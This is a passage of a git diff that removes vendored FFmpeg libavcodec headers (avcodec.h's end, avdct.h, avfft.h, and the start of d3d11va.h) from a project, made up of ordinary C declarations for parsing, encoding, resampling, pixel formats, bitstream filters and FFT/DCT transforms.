AVCodecContext.sample_rate. - * For all other types, this is in units of AVCodecContext.time_base. - */ - int duration; - - enum AVFieldOrder field_order; - - /** - * Indicate whether a picture is coded as a frame, top field or bottom field. - * - * For example, H.264 field_pic_flag equal to 0 corresponds to - * AV_PICTURE_STRUCTURE_FRAME. An H.264 picture with field_pic_flag - * equal to 1 and bottom_field_flag equal to 0 corresponds to - * AV_PICTURE_STRUCTURE_TOP_FIELD. - */ - enum AVPictureStructure picture_structure; - - /** - * Picture number incremented in presentation or output order. - * This field may be reinitialized at the first picture of a new sequence. - * - * For example, this corresponds to H.264 PicOrderCnt. - */ - int output_picture_number; - - /** - * Dimensions of the decoded video intended for presentation. - */ - int width; - int height; - - /** - * Dimensions of the coded video. - */ - int coded_width; - int coded_height; - - /** - * The format of the coded data, corresponds to enum AVPixelFormat for video - * and for enum AVSampleFormat for audio. - * - * Note that a decoder can have considerable freedom in how exactly it - * decodes the data, so the format reported here might be different from the - * one returned by a decoder. - */ - int format; -} AVCodecParserContext; - -typedef struct AVCodecParser { - int codec_ids[5]; /* several codec IDs are permitted */ - int priv_data_size; - int (*parser_init)(AVCodecParserContext *s); - /* This callback never returns an error, a negative value means that - * the frame start was in a previous packet. */ - int (*parser_parse)(AVCodecParserContext *s, - AVCodecContext *avctx, - const uint8_t **poutbuf, int *poutbuf_size, - const uint8_t *buf, int buf_size); - void (*parser_close)(AVCodecParserContext *s); - int (*split)(AVCodecContext *avctx, const uint8_t *buf, int buf_size); - struct AVCodecParser *next; -} AVCodecParser; - -AVCodecParser *av_parser_next(const AVCodecParser *c); - -void av_register_codec_parser(AVCodecParser *parser); -AVCodecParserContext *av_parser_init(int codec_id); - -/** - * Parse a packet. - * - * @param s parser context. - * @param avctx codec context. - * @param poutbuf set to pointer to parsed buffer or NULL if not yet finished. - * @param poutbuf_size set to size of parsed buffer or zero if not yet finished. - * @param buf input buffer. - * @param buf_size input length, to signal EOF, this should be 0 (so that the last frame can be output). - * @param pts input presentation timestamp. - * @param dts input decoding timestamp. - * @param pos input byte position in stream. - * @return the number of bytes of the input bitstream used. - * - * Example: - * @code - * while(in_len){ - * len = av_parser_parse2(myparser, AVCodecContext, &data, &size, - * in_data, in_len, - * pts, dts, pos); - * in_data += len; - * in_len -= len; - * - * if(size) - * decode_frame(data, size); - * } - * @endcode - */ -int av_parser_parse2(AVCodecParserContext *s, - AVCodecContext *avctx, - uint8_t **poutbuf, int *poutbuf_size, - const uint8_t *buf, int buf_size, - int64_t pts, int64_t dts, - int64_t pos); - -/** - * @return 0 if the output buffer is a subset of the input, 1 if it is allocated and must be freed - * @deprecated use AVBitStreamFilter - */ -int av_parser_change(AVCodecParserContext *s, - AVCodecContext *avctx, - uint8_t **poutbuf, int *poutbuf_size, - const uint8_t *buf, int buf_size, int keyframe); -void av_parser_close(AVCodecParserContext *s); - -/** - * @} - * @} - */ - -/** - * @addtogroup lavc_encoding - * @{ - */ - -/** - * Find a registered encoder with a matching codec ID. - * - * @param id AVCodecID of the requested encoder - * @return An encoder if one was found, NULL otherwise. - */ -AVCodec *avcodec_find_encoder(enum AVCodecID id); - -/** - * Find a registered encoder with the specified name. - * - * @param name name of the requested encoder - * @return An encoder if one was found, NULL otherwise. - */ -AVCodec *avcodec_find_encoder_by_name(const char *name); - -/** - * Encode a frame of audio. - * - * Takes input samples from frame and writes the next output packet, if - * available, to avpkt. The output packet does not necessarily contain data for - * the most recent frame, as encoders can delay, split, and combine input frames - * internally as needed. - * - * @param avctx codec context - * @param avpkt output AVPacket. - * The user can supply an output buffer by setting - * avpkt->data and avpkt->size prior to calling the - * function, but if the size of the user-provided data is not - * large enough, encoding will fail. If avpkt->data and - * avpkt->size are set, avpkt->destruct must also be set. All - * other AVPacket fields will be reset by the encoder using - * av_init_packet(). If avpkt->data is NULL, the encoder will - * allocate it. The encoder will set avpkt->size to the size - * of the output packet. - * - * If this function fails or produces no output, avpkt will be - * freed using av_packet_unref(). - * @param[in] frame AVFrame containing the raw audio data to be encoded. - * May be NULL when flushing an encoder that has the - * AV_CODEC_CAP_DELAY capability set. - * If AV_CODEC_CAP_VARIABLE_FRAME_SIZE is set, then each frame - * can have any number of samples. - * If it is not set, frame->nb_samples must be equal to - * avctx->frame_size for all frames except the last. - * The final frame may be smaller than avctx->frame_size. - * @param[out] got_packet_ptr This field is set to 1 by libavcodec if the - * output packet is non-empty, and to 0 if it is - * empty. If the function returns an error, the - * packet can be assumed to be invalid, and the - * value of got_packet_ptr is undefined and should - * not be used. - * @return 0 on success, negative error code on failure - */ -int avcodec_encode_audio2(AVCodecContext *avctx, AVPacket *avpkt, - const AVFrame *frame, int *got_packet_ptr); - -/** - * Encode a frame of video. - * - * Takes input raw video data from frame and writes the next output packet, if - * available, to avpkt. The output packet does not necessarily contain data for - * the most recent frame, as encoders can delay and reorder input frames - * internally as needed. - * - * @param avctx codec context - * @param avpkt output AVPacket. - * The user can supply an output buffer by setting - * avpkt->data and avpkt->size prior to calling the - * function, but if the size of the user-provided data is not - * large enough, encoding will fail. All other AVPacket fields - * will be reset by the encoder using av_init_packet(). If - * avpkt->data is NULL, the encoder will allocate it. - * The encoder will set avpkt->size to the size of the - * output packet. The returned data (if any) belongs to the - * caller, he is responsible for freeing it. - * - * If this function fails or produces no output, avpkt will be - * freed using av_packet_unref(). - * @param[in] frame AVFrame containing the raw video data to be encoded. - * May be NULL when flushing an encoder that has the - * AV_CODEC_CAP_DELAY capability set. - * @param[out] got_packet_ptr This field is set to 1 by libavcodec if the - * output packet is non-empty, and to 0 if it is - * empty. If the function returns an error, the - * packet can be assumed to be invalid, and the - * value of got_packet_ptr is undefined and should - * not be used. - * @return 0 on success, negative error code on failure - */ -int avcodec_encode_video2(AVCodecContext *avctx, AVPacket *avpkt, - const AVFrame *frame, int *got_packet_ptr); - -int avcodec_encode_subtitle(AVCodecContext *avctx, uint8_t *buf, int buf_size, - const AVSubtitle *sub); - - -/** - * @} - */ - -#if FF_API_AVCODEC_RESAMPLE -/** - * @defgroup lavc_resample Audio resampling - * @ingroup libavc - * @deprecated use libswresample instead - * - * @{ - */ -struct ReSampleContext; -struct AVResampleContext; - -typedef struct ReSampleContext ReSampleContext; - -/** - * Initialize audio resampling context. - * - * @param output_channels number of output channels - * @param input_channels number of input channels - * @param output_rate output sample rate - * @param input_rate input sample rate - * @param sample_fmt_out requested output sample format - * @param sample_fmt_in input sample format - * @param filter_length length of each FIR filter in the filterbank relative to the cutoff frequency - * @param log2_phase_count log2 of the number of entries in the polyphase filterbank - * @param linear if 1 then the used FIR filter will be linearly interpolated - between the 2 closest, if 0 the closest will be used - * @param cutoff cutoff frequency, 1.0 corresponds to half the output sampling rate - * @return allocated ReSampleContext, NULL if error occurred - */ -attribute_deprecated -ReSampleContext *av_audio_resample_init(int output_channels, int input_channels, - int output_rate, int input_rate, - enum AVSampleFormat sample_fmt_out, - enum AVSampleFormat sample_fmt_in, - int filter_length, int log2_phase_count, - int linear, double cutoff); - -attribute_deprecated -int audio_resample(ReSampleContext *s, short *output, short *input, int nb_samples); - -/** - * Free resample context. - * - * @param s a non-NULL pointer to a resample context previously - * created with av_audio_resample_init() - */ -attribute_deprecated -void audio_resample_close(ReSampleContext *s); - - -/** - * Initialize an audio resampler. - * Note, if either rate is not an integer then simply scale both rates up so they are. - * @param filter_length length of each FIR filter in the filterbank relative to the cutoff freq - * @param log2_phase_count log2 of the number of entries in the polyphase filterbank - * @param linear If 1 then the used FIR filter will be linearly interpolated - between the 2 closest, if 0 the closest will be used - * @param cutoff cutoff frequency, 1.0 corresponds to half the output sampling rate - */ -attribute_deprecated -struct AVResampleContext *av_resample_init(int out_rate, int in_rate, int filter_length, int log2_phase_count, int linear, double cutoff); - -/** - * Resample an array of samples using a previously configured context. - * @param src an array of unconsumed samples - * @param consumed the number of samples of src which have been consumed are returned here - * @param src_size the number of unconsumed samples available - * @param dst_size the amount of space in samples available in dst - * @param update_ctx If this is 0 then the context will not be modified, that way several channels can be resampled with the same context. - * @return the number of samples written in dst or -1 if an error occurred - */ -attribute_deprecated -int av_resample(struct AVResampleContext *c, short *dst, short *src, int *consumed, int src_size, int dst_size, int update_ctx); - - -/** - * Compensate samplerate/timestamp drift. The compensation is done by changing - * the resampler parameters, so no audible clicks or similar distortions occur - * @param compensation_distance distance in output samples over which the compensation should be performed - * @param sample_delta number of output samples which should be output less - * - * example: av_resample_compensate(c, 10, 500) - * here instead of 510 samples only 500 samples would be output - * - * note, due to rounding the actual compensation might be slightly different, - * especially if the compensation_distance is large and the in_rate used during init is small - */ -attribute_deprecated -void av_resample_compensate(struct AVResampleContext *c, int sample_delta, int compensation_distance); -attribute_deprecated -void av_resample_close(struct AVResampleContext *c); - -/** - * @} - */ -#endif - -#if FF_API_AVPICTURE -/** - * @addtogroup lavc_picture - * @{ - */ - -/** - * @deprecated unused - */ -attribute_deprecated -int avpicture_alloc(AVPicture *picture, enum AVPixelFormat pix_fmt, int width, int height); - -/** - * @deprecated unused - */ -attribute_deprecated -void avpicture_free(AVPicture *picture); - -/** - * @deprecated use av_image_fill_arrays() instead. - */ -attribute_deprecated -int avpicture_fill(AVPicture *picture, const uint8_t *ptr, - enum AVPixelFormat pix_fmt, int width, int height); - -/** - * @deprecated use av_image_copy_to_buffer() instead. - */ -attribute_deprecated -int avpicture_layout(const AVPicture *src, enum AVPixelFormat pix_fmt, - int width, int height, - unsigned char *dest, int dest_size); - -/** - * @deprecated use av_image_get_buffer_size() instead. - */ -attribute_deprecated -int avpicture_get_size(enum AVPixelFormat pix_fmt, int width, int height); - -/** - * @deprecated av_image_copy() instead. - */ -attribute_deprecated -void av_picture_copy(AVPicture *dst, const AVPicture *src, - enum AVPixelFormat pix_fmt, int width, int height); - -/** - * @deprecated unused - */ -attribute_deprecated -int av_picture_crop(AVPicture *dst, const AVPicture *src, - enum AVPixelFormat pix_fmt, int top_band, int left_band); - -/** - * @deprecated unused - */ -attribute_deprecated -int av_picture_pad(AVPicture *dst, const AVPicture *src, int height, int width, enum AVPixelFormat pix_fmt, - int padtop, int padbottom, int padleft, int padright, int *color); - -/** - * @} - */ -#endif - -/** - * @defgroup lavc_misc Utility functions - * @ingroup libavc - * - * Miscellaneous utility functions related to both encoding and decoding - * (or neither). - * @{ - */ - -/** - * @defgroup lavc_misc_pixfmt Pixel formats - * - * Functions for working with pixel formats. - * @{ - */ - -/** - * Utility function to access log2_chroma_w log2_chroma_h from - * the pixel format AVPixFmtDescriptor. - * - * This function asserts that pix_fmt is valid. See av_pix_fmt_get_chroma_sub_sample - * for one that returns a failure code and continues in case of invalid - * pix_fmts. - * - * @param[in] pix_fmt the pixel format - * @param[out] h_shift store log2_chroma_w - * @param[out] v_shift store log2_chroma_h - * - * @see av_pix_fmt_get_chroma_sub_sample - */ - -void avcodec_get_chroma_sub_sample(enum AVPixelFormat pix_fmt, int *h_shift, int *v_shift); - -/** - * Return a value representing the fourCC code associated to the - * pixel format pix_fmt, or 0 if no associated fourCC code can be - * found. - */ -unsigned int avcodec_pix_fmt_to_codec_tag(enum AVPixelFormat pix_fmt); - -/** - * @deprecated see av_get_pix_fmt_loss() - */ -int avcodec_get_pix_fmt_loss(enum AVPixelFormat dst_pix_fmt, enum AVPixelFormat src_pix_fmt, - int has_alpha); - -/** - * Find the best pixel format to convert to given a certain source pixel - * format. When converting from one pixel format to another, information loss - * may occur. For example, when converting from RGB24 to GRAY, the color - * information will be lost. Similarly, other losses occur when converting from - * some formats to other formats. avcodec_find_best_pix_fmt_of_2() searches which of - * the given pixel formats should be used to suffer the least amount of loss. - * The pixel formats from which it chooses one, are determined by the - * pix_fmt_list parameter. - * - * - * @param[in] pix_fmt_list AV_PIX_FMT_NONE terminated array of pixel formats to choose from - * @param[in] src_pix_fmt source pixel format - * @param[in] has_alpha Whether the source pixel format alpha channel is used. - * @param[out] loss_ptr Combination of flags informing you what kind of losses will occur. - * @return The best pixel format to convert to or -1 if none was found. - */ -enum AVPixelFormat avcodec_find_best_pix_fmt_of_list(const enum AVPixelFormat *pix_fmt_list, - enum AVPixelFormat src_pix_fmt, - int has_alpha, int *loss_ptr); - -/** - * @deprecated see av_find_best_pix_fmt_of_2() - */ -enum AVPixelFormat avcodec_find_best_pix_fmt_of_2(enum AVPixelFormat dst_pix_fmt1, enum AVPixelFormat dst_pix_fmt2, - enum AVPixelFormat src_pix_fmt, int has_alpha, int *loss_ptr); - -attribute_deprecated -#if AV_HAVE_INCOMPATIBLE_LIBAV_ABI -enum AVPixelFormat avcodec_find_best_pix_fmt2(const enum AVPixelFormat *pix_fmt_list, - enum AVPixelFormat src_pix_fmt, - int has_alpha, int *loss_ptr); -#else -enum AVPixelFormat avcodec_find_best_pix_fmt2(enum AVPixelFormat dst_pix_fmt1, enum AVPixelFormat dst_pix_fmt2, - enum AVPixelFormat src_pix_fmt, int has_alpha, int *loss_ptr); -#endif - - -enum AVPixelFormat avcodec_default_get_format(struct AVCodecContext *s, const enum AVPixelFormat * fmt); - -/** - * @} - */ - -#if FF_API_SET_DIMENSIONS -/** - * @deprecated this function is not supposed to be used from outside of lavc - */ -attribute_deprecated -void avcodec_set_dimensions(AVCodecContext *s, int width, int height); -#endif - -/** - * Put a string representing the codec tag codec_tag in buf. - * - * @param buf buffer to place codec tag in - * @param buf_size size in bytes of buf - * @param codec_tag codec tag to assign - * @return the length of the string that would have been generated if - * enough space had been available, excluding the trailing null - */ -size_t av_get_codec_tag_string(char *buf, size_t buf_size, unsigned int codec_tag); - -void avcodec_string(char *buf, int buf_size, AVCodecContext *enc, int encode); - -/** - * Return a name for the specified profile, if available. - * - * @param codec the codec that is searched for the given profile - * @param profile the profile value for which a name is requested - * @return A name for the profile if found, NULL otherwise. - */ -const char *av_get_profile_name(const AVCodec *codec, int profile); - -/** - * Return a name for the specified profile, if available. - * - * @param codec_id the ID of the codec to which the requested profile belongs - * @param profile the profile value for which a name is requested - * @return A name for the profile if found, NULL otherwise. - * - * @note unlike av_get_profile_name(), which searches a list of profiles - * supported by a specific decoder or encoder implementation, this - * function searches the list of profiles from the AVCodecDescriptor - */ -const char *avcodec_profile_name(enum AVCodecID codec_id, int profile); - -int avcodec_default_execute(AVCodecContext *c, int (*func)(AVCodecContext *c2, void *arg2),void *arg, int *ret, int count, int size); -int avcodec_default_execute2(AVCodecContext *c, int (*func)(AVCodecContext *c2, void *arg2, int, int),void *arg, int *ret, int count); -//FIXME func typedef - -/** - * Fill AVFrame audio data and linesize pointers. - * - * The buffer buf must be a preallocated buffer with a size big enough - * to contain the specified samples amount. The filled AVFrame data - * pointers will point to this buffer. - * - * AVFrame extended_data channel pointers are allocated if necessary for - * planar audio. - * - * @param frame the AVFrame - * frame->nb_samples must be set prior to calling the - * function. This function fills in frame->data, - * frame->extended_data, frame->linesize[0]. - * @param nb_channels channel count - * @param sample_fmt sample format - * @param buf buffer to use for frame data - * @param buf_size size of buffer - * @param align plane size sample alignment (0 = default) - * @return >=0 on success, negative error code on failure - * @todo return the size in bytes required to store the samples in - * case of success, at the next libavutil bump - */ -int avcodec_fill_audio_frame(AVFrame *frame, int nb_channels, - enum AVSampleFormat sample_fmt, const uint8_t *buf, - int buf_size, int align); - -/** - * Reset the internal decoder state / flush internal buffers. Should be called - * e.g. when seeking or when switching to a different stream. - * - * @note when refcounted frames are not used (i.e. avctx->refcounted_frames is 0), - * this invalidates the frames previously returned from the decoder. When - * refcounted frames are used, the decoder just releases any references it might - * keep internally, but the caller's reference remains valid. - */ -void avcodec_flush_buffers(AVCodecContext *avctx); - -/** - * Return codec bits per sample. - * - * @param[in] codec_id the codec - * @return Number of bits per sample or zero if unknown for the given codec. - */ -int av_get_bits_per_sample(enum AVCodecID codec_id); - -/** - * Return the PCM codec associated with a sample format. - * @param be endianness, 0 for little, 1 for big, - * -1 (or anything else) for native - * @return AV_CODEC_ID_PCM_* or AV_CODEC_ID_NONE - */ -enum AVCodecID av_get_pcm_codec(enum AVSampleFormat fmt, int be); - -/** - * Return codec bits per sample. - * Only return non-zero if the bits per sample is exactly correct, not an - * approximation. - * - * @param[in] codec_id the codec - * @return Number of bits per sample or zero if unknown for the given codec. - */ -int av_get_exact_bits_per_sample(enum AVCodecID codec_id); - -/** - * Return audio frame duration. - * - * @param avctx codec context - * @param frame_bytes size of the frame, or 0 if unknown - * @return frame duration, in samples, if known. 0 if not able to - * determine. - */ -int av_get_audio_frame_duration(AVCodecContext *avctx, int frame_bytes); - - -typedef struct AVBitStreamFilterContext { - void *priv_data; - struct AVBitStreamFilter *filter; - AVCodecParserContext *parser; - struct AVBitStreamFilterContext *next; - /** - * Internal default arguments, used if NULL is passed to av_bitstream_filter_filter(). - * Not for access by library users. - */ - char *args; -} AVBitStreamFilterContext; - - -typedef struct AVBitStreamFilter { - const char *name; - int priv_data_size; - int (*filter)(AVBitStreamFilterContext *bsfc, - AVCodecContext *avctx, const char *args, - uint8_t **poutbuf, int *poutbuf_size, - const uint8_t *buf, int buf_size, int keyframe); - void (*close)(AVBitStreamFilterContext *bsfc); - struct AVBitStreamFilter *next; -} AVBitStreamFilter; - -/** - * Register a bitstream filter. - * - * The filter will be accessible to the application code through - * av_bitstream_filter_next() or can be directly initialized with - * av_bitstream_filter_init(). - * - * @see avcodec_register_all() - */ -void av_register_bitstream_filter(AVBitStreamFilter *bsf); - -/** - * Create and initialize a bitstream filter context given a bitstream - * filter name. - * - * The returned context must be freed with av_bitstream_filter_close(). - * - * @param name the name of the bitstream filter - * @return a bitstream filter context if a matching filter was found - * and successfully initialized, NULL otherwise - */ -AVBitStreamFilterContext *av_bitstream_filter_init(const char *name); - -/** - * Filter bitstream. - * - * This function filters the buffer buf with size buf_size, and places the - * filtered buffer in the buffer pointed to by poutbuf. - * - * The output buffer must be freed by the caller. - * - * @param bsfc bitstream filter context created by av_bitstream_filter_init() - * @param avctx AVCodecContext accessed by the filter, may be NULL. - * If specified, this must point to the encoder context of the - * output stream the packet is sent to. - * @param args arguments which specify the filter configuration, may be NULL - * @param poutbuf pointer which is updated to point to the filtered buffer - * @param poutbuf_size pointer which is updated to the filtered buffer size in bytes - * @param buf buffer containing the data to filter - * @param buf_size size in bytes of buf - * @param keyframe set to non-zero if the buffer to filter corresponds to a key-frame packet data - * @return >= 0 in case of success, or a negative error code in case of failure - * - * If the return value is positive, an output buffer is allocated and - * is available in *poutbuf, and is distinct from the input buffer. - * - * If the return value is 0, the output buffer is not allocated and - * should be considered identical to the input buffer, or in case - * *poutbuf was set it points to the input buffer (not necessarily to - * its starting address). - */ -int av_bitstream_filter_filter(AVBitStreamFilterContext *bsfc, - AVCodecContext *avctx, const char *args, - uint8_t **poutbuf, int *poutbuf_size, - const uint8_t *buf, int buf_size, int keyframe); - -/** - * Release bitstream filter context. - * - * @param bsf the bitstream filter context created with - * av_bitstream_filter_init(), can be NULL - */ -void av_bitstream_filter_close(AVBitStreamFilterContext *bsf); - -/** - * If f is NULL, return the first registered bitstream filter, - * if f is non-NULL, return the next registered bitstream filter - * after f, or NULL if f is the last one. - * - * This function can be used to iterate over all registered bitstream - * filters. - */ -AVBitStreamFilter *av_bitstream_filter_next(const AVBitStreamFilter *f); - -/* memory */ - -/** - * Same behaviour av_fast_malloc but the buffer has additional - * AV_INPUT_BUFFER_PADDING_SIZE at the end which will always be 0. - * - * In addition the whole buffer will initially and after resizes - * be 0-initialized so that no uninitialized data will ever appear. - */ -void av_fast_padded_malloc(void *ptr, unsigned int *size, size_t min_size); - -/** - * Same behaviour av_fast_padded_malloc except that buffer will always - * be 0-initialized after call. - */ -void av_fast_padded_mallocz(void *ptr, unsigned int *size, size_t min_size); - -/** - * Encode extradata length to a buffer. Used by xiph codecs. - * - * @param s buffer to write to; must be at least (v/255+1) bytes long - * @param v size of extradata in bytes - * @return number of bytes written to the buffer. - */ -unsigned int av_xiphlacing(unsigned char *s, unsigned int v); - -#if FF_API_MISSING_SAMPLE -/** - * Log a generic warning message about a missing feature. This function is - * intended to be used internally by FFmpeg (libavcodec, libavformat, etc.) - * only, and would normally not be used by applications. - * @param[in] avc a pointer to an arbitrary struct of which the first field is - * a pointer to an AVClass struct - * @param[in] feature string containing the name of the missing feature - * @param[in] want_sample indicates if samples are wanted which exhibit this feature. - * If want_sample is non-zero, additional verbage will be added to the log - * message which tells the user how to report samples to the development - * mailing list. - * @deprecated Use avpriv_report_missing_feature() instead. - */ -attribute_deprecated -void av_log_missing_feature(void *avc, const char *feature, int want_sample); - -/** - * Log a generic warning message asking for a sample. This function is - * intended to be used internally by FFmpeg (libavcodec, libavformat, etc.) - * only, and would normally not be used by applications. - * @param[in] avc a pointer to an arbitrary struct of which the first field is - * a pointer to an AVClass struct - * @param[in] msg string containing an optional message, or NULL if no message - * @deprecated Use avpriv_request_sample() instead. - */ -attribute_deprecated -void av_log_ask_for_sample(void *avc, const char *msg, ...) av_printf_format(2, 3); -#endif /* FF_API_MISSING_SAMPLE */ - -/** - * Register the hardware accelerator hwaccel. - */ -void av_register_hwaccel(AVHWAccel *hwaccel); - -/** - * If hwaccel is NULL, returns the first registered hardware accelerator, - * if hwaccel is non-NULL, returns the next registered hardware accelerator - * after hwaccel, or NULL if hwaccel is the last one. - */ -AVHWAccel *av_hwaccel_next(const AVHWAccel *hwaccel); - - -/** - * Lock operation used by lockmgr - */ -enum AVLockOp { - AV_LOCK_CREATE, ///< Create a mutex - AV_LOCK_OBTAIN, ///< Lock the mutex - AV_LOCK_RELEASE, ///< Unlock the mutex - AV_LOCK_DESTROY, ///< Free mutex resources -}; - -/** - * Register a user provided lock manager supporting the operations - * specified by AVLockOp. The "mutex" argument to the function points - * to a (void *) where the lockmgr should store/get a pointer to a user - * allocated mutex. It is NULL upon AV_LOCK_CREATE and equal to the - * value left by the last call for all other ops. If the lock manager is - * unable to perform the op then it should leave the mutex in the same - * state as when it was called and return a non-zero value. However, - * when called with AV_LOCK_DESTROY the mutex will always be assumed to - * have been successfully destroyed. If av_lockmgr_register succeeds - * it will return a non-negative value, if it fails it will return a - * negative value and destroy all mutex and unregister all callbacks. - * av_lockmgr_register is not thread-safe, it must be called from a - * single thread before any calls which make use of locking are used. - * - * @param cb User defined callback. av_lockmgr_register invokes calls - * to this callback and the previously registered callback. - * The callback will be used to create more than one mutex - * each of which must be backed by its own underlying locking - * mechanism (i.e. do not use a single static object to - * implement your lock manager). If cb is set to NULL the - * lockmgr will be unregistered. - */ -int av_lockmgr_register(int (*cb)(void **mutex, enum AVLockOp op)); - -/** - * Get the type of the given codec. - */ -enum AVMediaType avcodec_get_type(enum AVCodecID codec_id); - -/** - * Get the name of a codec. - * @return a static string identifying the codec; never NULL - */ -const char *avcodec_get_name(enum AVCodecID id); - -/** - * @return a positive value if s is open (i.e. avcodec_open2() was called on it - * with no corresponding avcodec_close()), 0 otherwise. - */ -int avcodec_is_open(AVCodecContext *s); - -/** - * @return a non-zero number if codec is an encoder, zero otherwise - */ -int av_codec_is_encoder(const AVCodec *codec); - -/** - * @return a non-zero number if codec is a decoder, zero otherwise - */ -int av_codec_is_decoder(const AVCodec *codec); - -/** - * @return descriptor for given codec ID or NULL if no descriptor exists. - */ -const AVCodecDescriptor *avcodec_descriptor_get(enum AVCodecID id); - -/** - * Iterate over all codec descriptors known to libavcodec. - * - * @param prev previous descriptor. NULL to get the first descriptor. - * - * @return next descriptor or NULL after the last descriptor - */ -const AVCodecDescriptor *avcodec_descriptor_next(const AVCodecDescriptor *prev); - -/** - * @return codec descriptor with the given name or NULL if no such descriptor - * exists. - */ -const AVCodecDescriptor *avcodec_descriptor_get_by_name(const char *name); - -/** - * Allocate a CPB properties structure and initialize its fields to default - * values. - * - * @param size if non-NULL, the size of the allocated struct will be written - * here. This is useful for embedding it in side data. - * - * @return the newly allocated struct or NULL on failure - */ -AVCPBProperties *av_cpb_properties_alloc(size_t *size); - -/** - * @} - */ - -#endif /* AVCODEC_AVCODEC_H */ diff --git a/desktop_3230/FFmpeg/include/libavcodec/avdct.h b/desktop_3230/FFmpeg/include/libavcodec/avdct.h deleted file mode 100644 index 272422e..0000000 --- a/desktop_3230/FFmpeg/include/libavcodec/avdct.h +++ /dev/null @@ -1,84 +0,0 @@ -/* - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVCODEC_AVDCT_H -#define AVCODEC_AVDCT_H - -#include "libavutil/opt.h" - -/** - * AVDCT context. - * @note function pointers can be NULL if the specific features have been - * disabled at build time. - */ -typedef struct AVDCT { - const AVClass *av_class; - - void (*idct)(int16_t *block /* align 16 */); - - /** - * IDCT input permutation. - * Several optimized IDCTs need a permutated input (relative to the - * normal order of the reference IDCT). - * This permutation must be performed before the idct_put/add. - * Note, normally this can be merged with the zigzag/alternate scan
- * An example to avoid confusion: - * - (->decode coeffs -> zigzag reorder -> dequant -> reference IDCT -> ...) - * - (x -> reference DCT -> reference IDCT -> x) - * - (x -> reference DCT -> simple_mmx_perm = idct_permutation - * -> simple_idct_mmx -> x) - * - (-> decode coeffs -> zigzag reorder -> simple_mmx_perm -> dequant - * -> simple_idct_mmx -> ...) - */ - uint8_t idct_permutation[64]; - - void (*fdct)(int16_t *block /* align 16 */); - - - /** - * DCT algorithm. - * must use AVOptions to set this field. - */ - int dct_algo; - - /** - * IDCT algorithm. - * must use AVOptions to set this field. - */ - int idct_algo; - - void (*get_pixels)(int16_t *block /* align 16 */, - const uint8_t *pixels /* align 8 */, - ptrdiff_t line_size); - - int bits_per_sample; -} AVDCT; - -/** - * Allocates a AVDCT context. - * This needs to be initialized with avcodec_dct_init() after optionally - * configuring it with AVOptions. - * - * To free it use av_free() - */ -AVDCT *avcodec_dct_alloc(void); -int avcodec_dct_init(AVDCT *); - -const AVClass *avcodec_dct_get_class(void); - -#endif /* AVCODEC_AVDCT_H */ diff --git a/desktop_3230/FFmpeg/include/libavcodec/avfft.h b/desktop_3230/FFmpeg/include/libavcodec/avfft.h deleted file mode 100644 index 0c0f9b8..0000000 --- a/desktop_3230/FFmpeg/include/libavcodec/avfft.h +++ /dev/null @@ -1,118 +0,0 @@ -/* - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVCODEC_AVFFT_H -#define AVCODEC_AVFFT_H - -/** - * @file - * @ingroup lavc_fft - * FFT functions - */ - -/** - * @defgroup lavc_fft FFT functions - * @ingroup lavc_misc - * - * @{ - */ - -typedef float FFTSample; - -typedef struct FFTComplex { - FFTSample re, im; -} FFTComplex; - -typedef struct FFTContext FFTContext; - -/** - * Set up a complex FFT. - * @param nbits log2 of the length of the input array - * @param inverse if 0 perform the forward transform, if 1 perform the inverse - */ -FFTContext *av_fft_init(int nbits, int inverse); - -/** - * Do the permutation needed BEFORE calling ff_fft_calc(). - */ -void av_fft_permute(FFTContext *s, FFTComplex *z); - -/** - * Do a complex FFT with the parameters defined in av_fft_init(). The - * input data must be permuted before. No 1.0/sqrt(n) normalization is done. - */ -void av_fft_calc(FFTContext *s, FFTComplex *z); - -void av_fft_end(FFTContext *s); - -FFTContext *av_mdct_init(int nbits, int inverse, double scale); -void av_imdct_calc(FFTContext *s, FFTSample *output, const FFTSample *input); -void av_imdct_half(FFTContext *s, FFTSample *output, const FFTSample *input); -void av_mdct_calc(FFTContext *s, FFTSample *output, const FFTSample *input); -void av_mdct_end(FFTContext *s); - -/* Real Discrete Fourier Transform */ - -enum RDFTransformType { - DFT_R2C, - IDFT_C2R, - IDFT_R2C, - DFT_C2R, -}; - -typedef struct RDFTContext RDFTContext; - -/** - * Set up a real FFT. - * @param nbits log2 of the length of the input array - * @param trans the type of transform - */ -RDFTContext *av_rdft_init(int nbits, enum RDFTransformType trans); -void av_rdft_calc(RDFTContext *s, FFTSample *data); -void av_rdft_end(RDFTContext *s); - -/* Discrete Cosine Transform */ - -typedef struct DCTContext DCTContext; - -enum DCTTransformType { - DCT_II = 0, - DCT_III, - DCT_I, - DST_I, -}; - -/** - * Set up DCT. - * - * @param nbits size of the input array: - * (1 << nbits) for DCT-II, DCT-III and DST-I - * (1 << nbits) + 1 for DCT-I - * @param type the type of transform - * - * @note the first element of the input of DST-I is ignored - */ -DCTContext *av_dct_init(int nbits, enum DCTTransformType type); -void av_dct_calc(DCTContext *s, FFTSample *data); -void av_dct_end (DCTContext *s); - -/** - * @} - */ - -#endif /* AVCODEC_AVFFT_H */ diff --git a/desktop_3230/FFmpeg/include/libavcodec/d3d11va.h b/desktop_3230/FFmpeg/include/libavcodec/d3d11va.h deleted file mode 100644 index 6816b6c..0000000 --- a/desktop_3230/FFmpeg/include/libavcodec/d3d11va.h +++ /dev/null @@ -1,112 +0,0 @@ -/* - * Direct3D11 HW acceleration - * - * copyright (c) 2009 Laurent Aimar - * copyright (c) 2015 